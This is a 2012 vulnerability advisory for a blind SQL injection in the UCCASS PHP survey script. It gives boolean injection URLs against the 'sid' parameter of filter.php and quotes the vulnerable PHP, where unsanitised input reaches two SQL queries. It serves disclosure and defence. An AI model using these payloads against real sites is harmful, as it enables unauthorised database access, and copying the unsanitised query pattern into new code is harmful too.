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   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-06-22                              ]
 #################################################################
 #  [ UCCASS <= v1.8.1 ]  Blind SQL Injection Vulnerability      #
 #################################################################
 #
 # Script: "The Unit Command Climate Assessment and Survey System (UCCASS) (pronounced yoo-kas)
 #          is a PHP based survey script that allows you to create online surveys..."
 #
 # Vendor:   http://sourceforge.net/projects/uccass/
 # Download: http://sourceforge.net/projects/uccass/files/latest/download
 #
 ################################################################
 #
 # [SQL]
 #
 # Versions affected: v1.8.1 and previous
 #
 # Vuln: http://localhost/uccass/filter.php?sid=-1 or 1=1-- (true)
 #       http://localhost/uccass/filter.php?sid=-1 or 1=2-- (false)
 #

   File: ./uccass/filter.php
   ...cut...
   <?php

   include('classes/main.class.php');
   include('classes/results.class.php');                 // 1 definition of filter function

   $survey = new UCCASS_Results;

   echo $survey->com_header("Filter Survey Results");

   echo $survey->filter($_REQUEST['sid']);               // 2 unfiltered $_REQUEST['sid'] var

   echo $survey->com_footer();

   ?>
   ...cut...

   File: ./uccass/classes/results.class.php ( lines: 441-479 )
   ...cut...
   function filter($sid)
   {
        $x = 0;
        $qid_list = '';

        foreach($_REQUEST['select_qid'] as $qid)
        { $qid_list .= (int)$qid . ','; }
        $qid_list = substr($qid_list,0,-1);

        $query = "SELECT at.aid, q.qid, q.question, s.survey_text_mode
                  FROM {$this->CONF['db_tbl_prefix']}answer_types at,
                  {$this->CONF['db_tbl_prefix']}questions q, {$this->CONF['db_tbl_prefix']}surveys s
                  WHERE q.aid = at.aid AND q.sid = $sid AND q.qid IN ($qid_list) AND at.type IN ('MM','MS')   // 3 [SQL]
                  AND q.sid = s.sid
                  ORDER BY q.page, q.oid";
        $rs = $this->db->Execute($query);

        $old_aid = '';
        if($rs === FALSE) { $this->error("Error selecting filter questions: " . $this->db->ErrorMsg()); }
        if($r = $rs->FetchRow())
        {
            do
            {
                $question['question'][] = nl2br($this->SfStr->getSafeString($r['question'],$r['survey_text_mode']));
                $question['encquestion'][] = $this->SfStr->getSafeString($r['question'],SAFE_STRING_TEXT);
                $question['aid'][] = $r['aid'];
                $question['qid'][] = $r['qid'];
                $temp = $this->get_answer_values($r['aid'],BY_AID,$r['survey_text_mode']);
                $question['value'][] = $temp['value'];
                $question['avid'][] = $temp['avid'];
                $x++;
            }while($r = $rs->FetchRow());
            $this->smarty->assign("question",$question);
        }
        $rs = $this->db->Execute("SELECT MIN(entered) AS mindate,
                                  MAX(entered) AS maxdate FROM
                                  {$this->CONF['db_tbl_prefix']}results WHERE sid = $sid");                   // 4 [SQL]
        if($rs === FALSE) { $this->error("Error selecting min/max survey dates: " . $this->db->ErrorMsg()); }
        $r = $rs->FetchRow();
   ...cut...

 ### [ dun / 2012 ] #####################################################